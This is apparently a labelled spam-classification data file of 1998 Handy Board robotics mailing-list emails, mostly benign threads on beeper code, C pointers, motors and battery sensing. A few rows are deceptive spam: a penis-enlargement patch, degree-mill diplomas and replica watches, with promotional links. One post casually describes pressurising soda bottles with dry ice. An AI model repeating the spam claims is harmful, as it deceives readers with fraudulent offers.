~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If you can find something everyone agrees on, Will Bain, it's wrong. & Tatoosh --Mo Udall",0,0 German Gentile ,"robot-board@cmf.nrl.navy.mil, Handyboard , ""Fred G. Martin"" ","Sat, 14 Mar 1998 10:12:31 -0300",I can't beep my handy (again),"Please anybody tell me how i can beep my handyboard with imagecraft C. Sorryfor send that again , but nobody send me a answer so , pls , give me a little explication on how i can do that. I only want to play a beep like i do with th IC. In Imagecraft C don't exist libraries for that, so pls help me. Thanks a lot. ",0,0 Will Bain ,handyboard@media.mit.edu,"Sat, 14 Mar 1998 14:27:03 -0700",Re: I can't beep my handy (again),"German Gentile-- I know nothing about Imagecraft C, but here's how the beep function is defined in lib_hb.c (the Interactive C library of functions written for the Handy Board): void beep() { tone(500., .1); } /* 1/2 cycle delay in .5us goes in 0x26 and 0x27 */ void tone(float frequency, float length) { set_beeper_pitch(frequency); beeper_on(); sleep(length); beeper_off(); } void beeper_on() { bit_set(0x1020, 0b00000001); bit_set(0x1022, 0b00001000); } void beeper_off() { bit_clear(0x1022, 0b00001000); bit_clear(0x1020, 0b00000001); bit_clear(0x1000, 0b00001000); /* turn power to spkr off */ } void set_beeper_pitch(float frequency) { pokeword(0x26, (int)(1E6 / frequency)); } If Imagecraft C has poke and bit manipulation functions, then you ought to be able to translate this directly. Good luck. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Conscience: the inner voice which warns us Will Bain, that someone may be looking. & Tatoosh --H. L. Mencken ",0,0 david.howey@shades.nildram.co.uk,handyboard@media.mit.edu,"Sat, 14 Mar 1998 11:08:00 +0000",FAO MARIE CAHILL,"Hi everyone.. sorry to use the Handyboard mailing list for this, I'm trying to contact Marie Cahill who sent me some messages regarding robotics and stuff: Marie, I tried to send you a message from work to the address and it bounced each time. So I tried to look you up on the web but to no avail! Have I got the address wrong? Please could you drop me a line at or here. Thanks -Dave Sorry to all Handyboarders again! And thanks for the response re. 68HC11s in the UK. Much appreciated. * RM 1.2 * Eval Day 168 * RoboMail -- The ultimate QWK compatible message man ger.",0,0 Deanna Klobnak ,handyboard@media.mit.edu,"Sat, 14 Mar 1998 19:22:14 -0600",,"I recently got a handy board and I want to use the infrared signal to keep it from hitting a wall. How would I do this and how can I get a touch switch and get it to work. Chris Frost forgetful@lisco.net ",0,0 Deanna Klobnak ,handyboard@media.mit.edu,"Sun, 15 Mar 1998 00:36:54 -0600",,"I recently got a handy board and I want to use the infrared signal to keep it from hitting a wall. How would I do this and how can I get a touch switch and get it to work. Chris Frost forgetful@lisco.net ",0,0 THEGURUGUY ,handyboard@media.mit.edu,,Men with big dicks are more successful in life than the ones with small dicks. So be successful with Penis Enlarge Patch.,More p0werful 0rga$m$ w1th more powerful and bigger dick from Penis Enlarge Patch. http://www.haswer.net/pt/?51&RxwCkH,1,1 Jaron Paludanus ,"""HandyBoard (E-mail)"" ","Sun, 15 Mar 1998 13:27:01 +0100",IC Pointer Questions,"Howdy all, I finally attached an infrared reflectance sensor to my handyboard and it works! With my non-existent electronic experiences I managed to solder a resistance (330 ohms) to a three-legged sensor similar to the four-legged variant mentioned in the FAQ. So I ordered IC 3.2 and received a registration key the following day (good work Newton) and started setting up the project for my LARVE (Little Autonomous Robot VEhicle). I used to be an administrative programmer in dBase and Clipper 87 but am new to C and have to rely on the excellent book ""The C Programming Language"" from Kernighan/Ritchie (Prentice-Hall). I now come across the first two problems I just can't find a solution for myself, I'm probably overseeing something or what? -1- My robot has four drivewheels, each connected to a motor and a reflectance sensor. I want to use a data structure array to store all parameters, settings and readings for each wheel. The m/c routine creates a variable ""encoder0_counts"" while I want to use the structure element ""wheel[i].encoder.count"". When I use pointers in the declarations of the encoder structure I also have to change the syntax of the routines to deference the pointers. This is NOT what I want. struct _wheel {int radius;int ticks;}; struct _encoder {int port;int *velocity ;int *count;}; struct drivewheel {struct _encoder encoder;struct _wheel wheel;} wheel[4]; wheel[0].encoder.count= &encoder0_counts; *wheel[0].encoder.count= 0; /*I want to get rid of that dereferencing asterix ...*/ Is there a way I can declare ""wheel.encoder.count"" so that it exists as an integer pointing to the same memory location as ""encoder0_counts""? Can I change the pointer of an existing integer? ""wheel[0].encoder.count= 0;"" Would then be the same as ""encoder0_counts= 0;"" -2- I want to initialize an array ""char readings[256]"" to hold the measurements during calibration. But it leads to one of those well explained memory errors. Of course it can be declared globally but then it will take up space while only used when calibrating. Can I increase the stack size for a function without starting it as a seperate process? Or can I set TICKS to 1000 and will the process act as a normal function? Can anyone be of help? Thanks, Jaron Paludanus j.paludanus@tip.nl The Netherlands Europe",0,0 Chang ,handyboard@media.mit.edu,"Sun, 15 Mar 1998 03:45:57 -0700",Bachelors diplomas," According to the U.S. Census Bureau, with the following degrees, here's how much you can expect to make in your lifetime: High School Diploma: $1,100,000 Bachelor's Degree: $2,100,000 Master's Degree: $2,500,000 Doctorate: $4,400,000 You Need a Better Degree, and we can Help! Obtain degrees from Prestigious non-accredited Universities based on you life experience. NO ONE is turned down. Call Now 7 days a week. 1-206-350-3737 ",1,0 Mike Downey ,handyboard@media.mit.edu,"Sun, 15 Mar 1998 10:36:40 -0600",Gear Motors,"I was wondering if anyone has a good source for fairly high quality, low cost gear motors that inteface well with the handy board. Right now i am using a cheap little, current hungry 3v toy bulldozer as a platform. I would love to find some nice little efficient brushless 9v gearhead motors with encoders that i would not have to spend $200 apiece on! ",0,0 Anthony Oren Loeppert ,"Jaron Paludanus , handyboard@media.mit.edu","Sun, 15 Mar 1998 12:54:30 -0600",Re: IC Pointer Questions,"> struct _wheel {int radius;int ticks;}; > struct _encoder {int port;int *velocity ;int *count;}; > struct drivewheel {struct _encoder encoder;struct _wheel wheel;} >wheel[4]; > > wheel[0].encoder.count= &encoder0_counts; > *wheel[0].encoder.count= 0; /*I want to get rid >of that dereferencing >asterix ...*/ > >Is there a way I can declare ""wheel.encoder.count"" so that it exists as an >integer pointing to the same memory location as ""encoder0_counts""? >""wheel[0].encoder.count= 0;"" Would then be the same as ""encoder0_counts= >0;"" If I am understanding you right... I haven't looked at the encoder routines yet, but I am assuming encoder0_counts is global. Why not, just omit the pointer count from the _encoder struct and just use the global, since you already have it? That aside, I'm don't know what you have against '*' in having the statement *wheel[0].encoder.count = 0; It accomplishes what you want and that's going to be your only solution I think. I'm not too familiar with IC, but I am guessing it adhears fairly closely to standard C in it's implementation. You are wanting to use a feature of C++, pass by reference. Standard C doesn't support it. void change_count(int& iamTheSaveVar) { iamTheSaveVar=0; } int main() { int somevar=1; change_count(somevar); return somevar; } in C++, this would effectively set somevar to 0, but I don't think that it would work in IC, but I haven't tried it. I would but I am online and I only have on RS232 serial cable and it is connected to my modem right now :) The passing by reference is not any different that passing a pointer and deferencing it. > Can I change the pointer of an existing integer? I'm not quite sure what you mean by that. ",0,0 Jaron Paludanus ,"'Anthony Oren Loeppert' , ""'handyboard@media.mit.edu'"" ","Sun, 15 Mar 1998 22:03:44 +0100",RE: IC Pointer Questions,"Hi, thanks for your reply ... Why don't I use the encoder0_counts variable ? I want to create a multi-tasked environment with seperate processes for each wheel to calculate wheel speeds. The same code will be used to calculate speed for 4 wheels. What I realize now is that I can dereference the velocity variable when using it. I was (am) very focussed on creating a - simple - uniform structure describing the robot, without pointer references to simplify coding and prevent errors. So what I thought up was; A memory location XXXX with contents AAAA is named ""encoder0_velocity"" when using the compiler / interpreter. It would be very convieniant if I could create a variable named ""CurrentSpeed"" using memory location XXXX as well. Then I could use both names in the compiler/interpreter - to create clean code - while actually describing one memory location containing AAAA. Maybe I could change the MC routines to use a structure to return their value and recompile them to icb files? Just to clean up the code ? Or is this extreme knit picking? struct drivewheel wheel[4]; void launch () { int i; for (i=0;i<4;i++) start_process( calculate_speed( i ) ); } void calculate_speed( int index ) { wheel[i].motor.speed.average = ( wheel[i].motor.speed.average * 9 + wheel[i].motor.speed.current ) / 10; wheel[i].wheel.speed.current = *wheel[i].encoder.velocity * 1000 / 64; wheel[i].wheel.speed.average = ( wheel[i].wheel.speed.average * 9 + wheel[i].wheel.speed.current ) / 10; } -----Original Message----- From: Anthony Oren Loeppert [SMTP:oren@mail.utexas.edu] Sent: Sunday, March 15, 1998 7:55 PM To: Jaron Paludanus; handyboard@media.mit.edu Subject: Re: IC Pointer Questions > struct _wheel {int radius;int ticks;}; > struct _encoder {int port;int *velocity ;int *count;}; > struct drivewheel {struct _encoder encoder;struct _wheel wheel;} >wheel[4]; > > wheel[0].encoder.count= &encoder0_counts; > *wheel[0].encoder.count= 0; /*I want to get rid >of that dereferencing >asterix ...*/ > >Is there a way I can declare ""wheel.encoder.count"" so that it exists as an >integer pointing to the same memory location as ""encoder0_counts""? >""wheel[0].encoder.count= 0;"" Would then be the same as ""encoder0_counts= >0;"" If I am understanding you right... I haven't looked at the encoder routines yet, but I am assuming encoder0_counts is global. Why not, just omit the pointer count from the _encoder struct and just use the global, since you already have it? That aside, I'm don't know what you have against '*' in having the statement *wheel[0].encoder.count = 0; It accomplishes what you want and that's going to be your only solution I think. I'm not too familiar with IC, but I am guessing it adhears fairly closely to standard C in it's implementation. You are wanting to use a feature of C++, pass by reference. Standard C doesn't support it. void change_count(int& iamTheSaveVar) { iamTheSaveVar=0; } int main() { int somevar=1; change_count(somevar); return somevar; } in C++, this would effectively set somevar to 0, but I don't think that it would work in IC, but I haven't tried it. I would but I am online and I only have on RS232 serial cable and it is connected to my modem right now :) The passing by reference is not any different that passing a pointer and deferencing it. > Can I change the pointer of an existing integer? I'm not quite sure what you mean by that.",0,0 Julianne Keenan ,handyboard@media.mit.edu,"Sun, 15 Mar 1998 14:51:21 -0300",Patek Philippe Watches ,"Authentic replica Rolex and other watches for gentlemen and ladies from just $245 Use this promotional link to get best ever prices: http://051.manwithumbrella.com luis you machismo me, beside electric . ashore you electroencephalography me, cahoot . drier you piccolo me, snowshoe downtown dale . math you muskellunge me, clarke ozone relayed ham . quip you sickroom me, singleton parkinson bamberger gabriel . http://www.manwithumbrella.com/rm/ ",1,1 """Jose-Alfredo D. Esguerra"" ",handyboard@media.mit.edu,"Sun, 15 Mar 1998 20:00:07 -0500",? Mabuchi RS280 motor,"Hello all, I've connected a mabuchi rs280 motor to the handyboard. When activated with the following command, ""motor(0,12);"" the motor speeds up and then stops, and the board also beeps. the ratings for the motor are as follows voltage range 6-9 volts Current MA (No load) 155 ma there is no specs for the maximum current. Has anyone tried using these, or do any of you know what is causing it to mis-operate in this way? Jose ",0,0 669@worldnet.att.net,"handyboard@media.mit.edu, dprglist@dprg.org","Sun, 15 Mar 1998 19:40:59 -0600",robots rising program ,"Hi Guys, Get off the computer and tune to the discovery channel to catch this program comming on at 8:00 cst. I believe it is going to last one hour. Bye Terry P Gathright ",0,0 German Gentile ,"Handyboard , ""Fred G. Martin"" ","Mon, 16 Mar 1998 00:34:35 -0300",Nowbody can help me???,"I can't believe nowbody of the list users know how works the sound routines in the handyboard??? Please, if any have idea of how i can implement that on OTHER C COMPILER (don't interactive C), please anwser to my question. P.D,: Remember , the interactive C works into the handy, and the beep(), tone(), etc, interact with other process (that is what i don't know), that functions (beep, tone, etc) alone don't do nothing. Please don't send me mail saying : use beep(). Thanks again. ",0,0 Darth Vader ,handyboard@media.mit.edu,"Sun, 15 Mar 1998 23:03:30 -0600",pneumatics,"does anyone know of a good sourec for pneumatics? Im especially interested in smaller pneumatics, like those about 1-2"" long, with a stroke of 1-1.5"" Thanks! phil ",0,0 Will Bain ,handyboard@media.mit.edu,"Sun, 15 Mar 1998 23:51:30 -0700",Re: pneumatics,"At 11:03 PM 3/15/98 -0600, Phil wrote: >does anyone know of a good sourec for pneumatics? Im especially interested >in smaller pneumatics, like those about 1-2"" long, with a stroke of 1-1.5"" The components you're looking for sound exactly like ones that came with my Lego Technic kit. The actuator cylinders come in two sizes (the big one's about the size you're looking for), and there's a compressor cylinder and pressure reservoir available, too. The only tricky part is that they don't offer an electrically-operated air valve (that I know of). You can purchase most of the components individually, including air hoses, T fittings, and valves. You can get a catalog by calling Lego Shop-At-Home (1-800-453-4652). I know I'm starting to sound like a frothing-at-the-mouth Lego fanatic, but really they do make very high quality parts, precision-formed from virtually indestructable nylon. They can be sort of expensive, and try to avoid buying Legos from Dacta/Pitsco if you can help it, because they often have even higher prices than Lego Shop-At-Home. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If you can't say anything good about someone, Will Bain, sit right here by me. & Tatoosh --Alice Roosevelt Longworth ",0,0 John Vaughn ,mdowney@optimizeinc.com,"Mon, 16 Mar 1998 10:01:44 -0500",Re: Gear Motors," Mike Downey wrote: > I was wondering if anyone has a good source for fairly high quality, low > cost gear motors that inteface well with the handy board. Right now i am > using a cheap little, current hungry 3v toy bulldozer as a platform. I > would love to find some nice little efficient brushless 9v gearhead > motors with encoders that i would not have to spend $200 apiece on! Check out Herbach and Rademan at www.herbach.com for surplus DC gearhead motors. They often have 6-24 volt, optically encoded motors for $20-$25 each. J.V. -- ***************************************************************************** * John Vaughn Phone: 315-781-3906 * * Dept. of Math & Computer Science E-mail: vaughn@hws.edu * * Scandling 4085 Home: math.hws.edu/vaughn/index.html * * Hobart & William Smith Colleges Fax: 315-781-3587 * * Geneva, NY 14456 ""I don't include cute signature quotes"" * ***************************************************************************** ",0,0 Brett Anthony ,handyboard@media.mit.edu,"Mon, 16 Mar 1998 09:42:44 -0800",Re: pneumatics,"At 11:03 PM 3/15/98 -0600, you wrote: >does anyone know of a good sourec for pneumatics? Im especially interested >in smaller pneumatics, like those about 1-2"" long, with a stroke of 1-1.5"" > >Thanks! >phil Small pneumatics are tough because commercial actuators are (A) expensive and (B)they assume a stationary machine tied to ""shop air"", i.e. miniature mobile compressors/regulators/receivers are nonexistant. HOWEVER; you still have 3 good possibilities: 1. Tower Hobbies (I don't have their address 'cause I'm at work, but will send it if you need) or any large RC aircraft hobby store will have a supply of actuators, control valves, regulators, sequencers, etc. for pneumatic landing gear. This stuff has the added advantage of already being designed for RC servo control, so running it with the HandyBoard is relatively simple. RC aircraft pneumatic systems use standard PEET plastic soda pop bottles for air receivers. You charge the receiver with a tire pump; don't worry, these bottles will hold 50PSI safely (actually, 200PSI proof, but don't try it). 2. Lego pneumatics are surprisingly capable, although their pump doesn't make much volume. You can control the valves with RC servos, or more simply by using very small solenoids; which ARE hard to find, but if you prowl the electronics surplus markets you will turn up some cuties. BTW Will, Lego is made almost exclusively from ABS. 3. fischertechnik has made a pneumatics line for years, in fact the Lego pneumatic stuff is er... ""patterned"" on the ft stuff. The ft pump is larger, but the valves in the recent sets are simple 3-way deals, like Lego. Earlier ft pneumatics sets had much sexier valves and elaborate sequenceing cababilities. These may still be available as parts, but I havn't checked recently. The problem with both Lego and ft is that there is no control on the supply pressure, i.e. the pump runs all the time. So when you're not actuating, the drive belt slips and the motor runs near stall. This just EATS batteries and belts. I made a receiver from a small shampoo bottle and devised a simple pressure switch to control my pump, and it works fine. I use fischertechnik, but the same sort of thing should be doable with Lego. Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 Chuck McManis ,German Gentile ,"Mon, 16 Mar 1998 11:29:36 -0800",Re: How i can beep the handy in Imgecraft C....,"Hi German, I sent this to you before, but I guess you didn't keep it. This one is going to both the robot-board and handyboard lists you can always find it again later by searching the archives for these lists. To beep the beeper using ImageCraft C you will need to set up three things, -- Two global values, one containing the beep period, and the other containing the beep duration. These should be unsigned 16 bit values. -- an interrupt service routine for the OC5 timer, that checks the duration value and if it is not zero loads the period value into the OC5 counter and starts it, then decrements the duration counter. -- A C function that takes a frequency and period and converts them into a pair of period and duration values. stores the global values and starts the OC5 counter for the first time. If you don't set up the OC5 interrupt routine in your crt11.s file you should store in the new values in your main() function. Remember that the interrupt vector table on the handboard is at 0xbfe0 (check that with the pink book, i'm using it from memory and I do drop bits now and then). --Chuck McManis ",0,0 Will Bain ,handyboard@media.mit.edu,"Mon, 16 Mar 1998 13:35:00 -0700",An answer from Polaroid,"A while back I asked if anyone knew about a socket to accomodate the 9-pin plugs that come with the Polaroid sonar modules. I feel pretty dumb now, because I talked with the people at Polaroid, who tell me that it's not really a plug at all; it's supposed to be soldered directly to a PC board. If I knew more about electronics, I might have guessed that. <:| Oh well. Back to the drawing board. , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Conservatives: They define themselves Will Bain, in terms of what they oppose. & Tatoosh --George Will",0,0 Stefan Bergstrand ,handyboard@media.mit.edu,"Mon, 16 Mar 1998 22:04:31 +0100",Disconnections etc.," I have a few problems with the Handyboard I just put together: 1. I lose contact with the board from IC very often. Then, when I try to reset the board it will not always reboot. One of the following usually happens: a) I just get the single line of black squares on the LCD. b) I get part of the IC boot message, then it freezes. c) I get the complete startup IC-message, then it freezes (probably a special case of b). 2. When I try to load the battery, the Charge LED lights up and slowly fades away. This applies to both charging using the serial interface card, and using the connector on the HB itself. This seems to happen only the first time I charge after some time. (After a day away from the HB, typically.) If I try to charge just after this ""fading"" has happened, the LED just stays dark. And a last question: Is a bad idea to run the HandyBoard without the L293's and the ZTX614 ? (That is just what I'm doing, since I haven't gotten hold of these parts yet.) I can't think of it as beeing harmful to the HB, as long as I dont try to use any of them, at least. Or is it? --------------------- Stefan Bergstrand Futurniture Ab Hitechbuilding 141 101 52 Stockholm Tel: 08 - 56 61 47 16 ICQ: 5424801 ",0,0 Richard ,handyboard@media.mit.edu,"Mon, 16 Mar 1998 20:17:16 -0800",Power,"Hello everyone. I finally got everything cool with the Handyboard I'm using in terms of the software and loading it and getting all connections right. The only problem now is that the motors on my little robot pretty much stop after maybe 45 seconds of operation. The motor lights do what they are supposed to but they blink. Im assuming this is a battery issue. Is there any way to boost the power tot he motors so that they will run for at least half an hour without killing the handyboard? Should I just go looking for something with smaller motors? The ones im using are just the standard little ones. If you guys know anything, I'de appreciate that. Also..I watched Robots Rising on the discovery channel. Cool stuff... Has any out there doing any thing with analog robotics using only transistors and the like? Thanks! Richard ",0,0 """A.J.vanderVegt"" ",Richard ,"Tue, 17 Mar 1998 15:49:30 +0100",Re: Power,"Perhaps your motors draw too much current. You can only draw 600mA from the L293D driver IC. In the HB manual, you can see you can draw 1A from a IC from TI. (I don't know the exact number right now). You could try to use a seperate IC for each motor, if you only have two motors running at once (eg. only use motor 0/1 and motor 2/3 simultaniously.) If your L293D's get really hot, this might be a solution. I saw an other program Discovery some time ago, in which a guy had build a zoo of robots, all build from old Walkmans and only containing a couple of transistors. They did walk, and the guy who build them, said they adepted to their environment, but I found that hard to believe. Jeroen van der Vegt, A.J.vanderVegt@ITS.TUDelft.nl On Mon, 16 Mar 1998, Richard wrote: > Hello everyone. I finally got everything cool with the Handyboard I'm > using in terms of the software and loading it and getting all connections > right. The only problem now is that the motors on my little robot pretty > much stop after maybe 45 seconds of operation. The motor lights do what > they are supposed to but they blink. Im assuming this is a battery issue. > Is there any way to boost the power tot he motors so that they will run > for at least half an hour without killing the handyboard? Should I just go > looking for something with smaller motors? The ones im using are just the > standard little ones. If you guys know anything, I'de appreciate that. > > Also..I watched Robots Rising on the discovery channel. Cool stuff... > Has any out there doing any thing with analog robotics using only > transistors and the like? > > Thanks! > Richard > > ",0,0 """A.J.vanderVegt"" ",Richard ,"Tue, 17 Mar 1998 13:13:59 +0100",Re: Power,"Perhaps the problem is your motor-drivers IC's. If you use the L293D or something, which are standard on the HandyBoard, you can only draw abou 600 mA. I use the other ones mentioned in the HB manual (they're from Texas Intr., but I can't remember the number right now), which allow you to draw up to 1A. If you drivers IC get hot, this could be the problem. If you only use 2 motors, you could also try to use different driver IC for both (e.g. use only 'motor 0/1' and 'motor 2/3'). I saw a program on robotics a while ago on Discovery, and there was a guy who builded a complete zoo of robots consisting of only a couple of transistors. They did move indeed, but he said they were adapting to their environment, which I find hard to believe. Jeroen van der Vegt, A.J.vanderVegt@ITS.TUDelft.nl On Mon, 16 Mar 1998, Richard wrote: > Hello everyone. I finally got everything cool with the Handyboard I'm > using in terms of the software and loading it and getting all connections > right. The only problem now is that the motors on my little robot pretty > much stop after maybe 45 seconds of operation. The motor lights do what > they are supposed to but they blink. Im assuming this is a battery issue. > Is there any way to boost the power tot he motors so that they will run > for at least half an hour without killing the handyboard? Should I just go > looking for something with smaller motors? The ones im using are just the > standard little ones. If you guys know anything, I'de appreciate that. > > Also..I watched Robots Rising on the discovery channel. Cool stuff... > Has any out there doing any thing with analog robotics using only > transistors and the like? > > Thanks! > Richard > > ",0,0 """A.J.vanderVegt"" ",handyboard@media.mit.edu,"Tue, 17 Mar 1998 13:26:34 +0100",Re: Power,"Perhaps the problem is your motor-drivers IC's. If you use the L293D or something, which are standard on the HandyBoard, you can only draw abou 600 mA. I use the other ones mentioned in the HB manual (they're from Texas Intr., but I can't remember the number right now), which allow you to draw up to 1A. If you drivers IC get hot, this could be the problem. If you only use 2 motors, you could also try to use different driver IC for both (e.g. use only 'motor 0/1' and 'motor 2/3'). I saw a program on robotics a while ago on Discovery, and there was a guy who builded a complete zoo of robots consisting of only a couple of transistors. They did move indeed, but he said they were adapting to their environment, which I find hard to believe. Jeroen van der Vegt, -- Jeroen van der Vegt, A.J.vanderVegt@ITS.TUDelft.nl ---original message got lost--- ",0,0 Jaron Paludanus ,"'Brian Lavery' , ""handyboard@media.mit.edu"" ","Tue, 17 Mar 1998 19:46:50 +0100",RE: Low battery detection,"Can you translate this into ""EE for dummies?"". I slowly start to grasp some of the idea about voltage dividers but still don't understand. Won't this setup drain the battery? How does one calculate and wire such a thing - in this particular case? I ask this because I want to use a lead battery for my lego robot, not only do I have such a battery already :) but I understood that the characteristics of these things tend to be a more gentle curve towards the LOW battery situation and thus better measurable. (Opposed to NICADs steep curve from 1.2 to 0 point something very quickly) Help would be appreciated! jaron paludanus j.paludanus@tip.nl -----Original Message----- From: Brian Lavery [SMTP:blavery@acslink.aone.net.au] Sent: Wednesday, October 29, 1997 3:14 AM To: handyboard@media.mit.edu Subject: Re: Low battery detection >Is it possible for a handy-board program (either 'C' or assembler) to >detect a low battery condition? > Sure: Solder a wire to the ""BATTERY +"", add 2 resistors to make a voltage divider (to divide the battery ABSOLUTE MAX condition, say about 12V, down to about 4 volts for the analog 0-5v range), and feed it into an ANALOG input point. Put a multimeter on the battery to measure its volts in a LOW charge condition, and then in a HIGH charge condition. Read the HB analog input value for both those conditions, and assume a linear connection between bat volts and analog reading. Pity it wasn't built in! Brian Lavery blavery@computer.org ============================= =================================== Brian Lavery BE MACS MIEEE Tel: +61 (2) 9906 3900 Technical Manager Fax: +62 (2) 9906 3436 Online International Pty Ltd Email: 20/130 Pacific Highway Web: St Leonards NSW 2065 and Australia Personal: ============================= ===================================",0,1 Chuck McManis ,Brett Anthony ,"Tue, 17 Mar 1998 13:22:17 -0800",Re: pneumatics,"I think it was the crazy guys in Austin (the ones that put on Robofest) that had a 'portable' air reservoir that consisted of a 2 liter coke bottle, a relief pressure valve and tubing. The coke bottle was filled about a third of the way with water, and then dry ice chips were dropped into the bottle and the bottle was then capped. The valve ran at something like 150 - 175psi if I recall. And as long as you had ice you had plenty of pressure. I believe they had plans for a self reloading version. (spring loaded dry ice pellets) but I don't know if it was ever built. --Chuck ",0,0 German Gentile ,"Handyboard , Will Bain ","Tue, 17 Mar 1998 19:22:49 -0300",RE: Nowbody can help me???,"I never say imagecraft C can't use peek and poke???? I can see, you don't understand my mail. Wich i see is : make beep the handy is not simply put a byte in a place into the memory, no way. you have to write a interrupt routine , and do adiitional work . Your large explications over that question sound well , but is not really true. Chuck Mcmanis send me a e-mail explaining to me how to make beep the handy, i reply that for you so you will know how it wotk really. Anyway thanks for your time. Ah, yes i'm live in Argentina and where you from?. -----Original Message----- De: Will Bain Para: German Gentile Fecha: Lunes 16 de Marzo de 1998 02:48 Asunto: Re: Nowbody can help me??? >German Gentile-- > >You said that Imagecraft C does not support peek and poke into memory. That >seems very odd. I've never heard of a version of C not having such >elementary operations. If you can peek and poke into memory, then you can >write your own beep and tone functions using the same memory addresses that >the Interactive C functions use. Perhaps, instead of peek and poke, you >could define a pointer variable and (very carefully) explicitly assign it >the appropriate address in memory. As far as the bit manipulations go, you >can fake those if you know a little about base arithmetic. > >If you can't use peek and poke, you can still write your own beep and tone >functions. You'll first need to write assembly language routines that do >basically the same thing that the Interactive C functions do, with access to >the appropriate memory locations. Then you'll need to assemble the code >into machine code and download it. Finally, you'll need to figure out how >to execute the machine code from within Imagecraft C. This sounds like a >lot of work. Of course, if you can find a way to read and write particular >memory locations from within Imagecraft C, your job will be that much >simpler. Good luck. > >--Will > >BTW--I'm curious about the '.ar' suffix on your e-mail address. Are you in >Argentina? > , , > __@_/ \\_@__ |/ > | /__, o @_/ > )\\ ) ( \\ (\\/\\\\, >~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >Wendy Parson, If you can't say anything good about someone, >Will Bain, sit right here by me. >& Tatoosh --Alice Roosevelt Longworth >",0,0 Patrick Cutts ,HandyBoard ,"Tue, 17 Mar 1998 20:54:44 -0800",Re: Low battery detection,"sure, it will drain the battery, but if it's a low enough drain, you don't have to worry about it. for example if you have a 10 amp-hour battery, drawing .5 mA would take something like 830 days to drain it. I wouldn't worry too much. to calculate the values, just assume a current drain and pick a max (battery charged) voltage and insert your battery voltage into ohms law (E=I/R) andout pops your resistor values: (example) you have a 12 volt battery, you want to have a current drain of .5 mA and you picked 4.5 volts as your 'fully charged' reading. 12-4.5=7.5 7.5/.0005=15000 so R1=15K 4.5/.0005=9000 so R2=9K wiring: connect one end of R1 to the positive term of the battery. connect the other end of R1 to one end of R2. connect the other end of R2 to the battery ground. connect the junction of R1 and R2 to an analog input of the HB. read the value at the analog input while you have your battery discharged to the point at which you want some action to be taken. program your robot to take the action when that analog input goes below the value determined in the previous step. ---------- > From: Jaron Paludanus > To: 'Brian Lavery' ; handyboard@media.mit.edu > Subject: RE: Low battery detection > Date: Tuesday, March 17, 1998 10:46 AM > > Can you translate this into ""EE for dummies?"". > I slowly start to grasp some of the idea about > voltage dividers but still don't understand. > Won't this setup drain the battery? How does > one calculate and wire such a thing - in this > particular case? > > I ask this because I want to use a lead battery > for my lego robot, not only do I have such a > battery already :) but I understood that the > characteristics of these things tend to be a > more gentle curve towards the LOW battery > situation and thus better measurable. > > (Opposed to NICADs steep curve from 1.2 to > 0 point something very quickly) > > Help would be appreciated! > jaron paludanus > j.paludanus@tip.nl > > > -----Original Message----- > From: Brian Lavery [SMTP:blavery@acslink.aone.net.au] > Sent: Wednesday, October 29, 1997 3:14 AM > To: handyboard@media.mit.edu > Subject: Re: Low battery detection > > > >Is it possible for a handy-board program (either 'C' or assembler) to > >detect a low battery condition? > > > > Sure: > Solder a wire to the ""BATTERY +"", add 2 resistors to make a voltage divider > (to divide the battery ABSOLUTE MAX condition, say about 12V, down to about > 4 volts for the analog 0-5v range), and feed it into an ANALOG input point. > Put a multimeter on the battery to measure its volts in a LOW charge > condition, and then in a HIGH charge condition. Read the HB analog input > value for both those conditions, and assume a linear connection between bat > volts and analog reading. > Pity it wasn't built in! > > Brian Lavery > blavery@computer.org > > ============================= =================================== > Brian Lavery BE MACS MIEEE Tel: +61 (2) 9906 3900 > Technical Manager Fax: +62 (2) 9906 3436 > Online International Pty Ltd Email: > 20/130 Pacific Highway Web: > St Leonards NSW 2065 and > Australia Personal: > ============================= =================================== >",0,1 Will Bain ,handyboard@media.mit.edu,"Tue, 17 Mar 1998 22:56:19 -0700",Re: Polaroid sonar connector ,"At 09:44 AM 3/8/98 -0500, Fred Martin wrote: >In the Polaroid manual, the connector is referred to as a ""Burndy 9 >pin connector SLP9S-2"". > >I once spoke to someone at Polaroid who gave me the cross reference >""JST 1B0579A"" (don't know if it's Burndy or not). > >I am pretty sure the cable is standard 1 mm flex cable, 9 conductor. >Digikey has a bunch of these connectors but only even conductor >counts! However, interpolating part numbers, the device should be >Hirose Electric Co, Ltd.'s FH21-9S-1DSA. > >Will, please let us know what you come up with. According to my measurements, the flat flex cable that comes with the Polaroid kits is 1.25 mm (or 0.05""), so it would probably not be quite compatible with the parts that Digikey offers. I looked exhaustively through the Digikey offerings, but only found 0.1"" and 1 mm flat flex components. The only places I've seen the 1.25 mm series are on the Burndy web site (www.burndy.com) and the Molex web site (www.molex.com), but these two companies just make the parts--they don't sell 'em as far as I know. Since finding out that the connectors aren't really plugs but board connectors instead, I've decided to find someone to sell me a couple more Burndy SLP9S-2's (or equivalent) and some flat flex jumpers without the connectors on the ends. That way, I can still have the modular connections that I want without having to modify the components that are on loan to me. I'll continue to document my progress, for the benefit of the few who follow in my footsteps, and for the annoyance of those who couldn't care less ;) --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, There's a fine line between fishing and Will Bain, just standing on the shore like an idiot. & 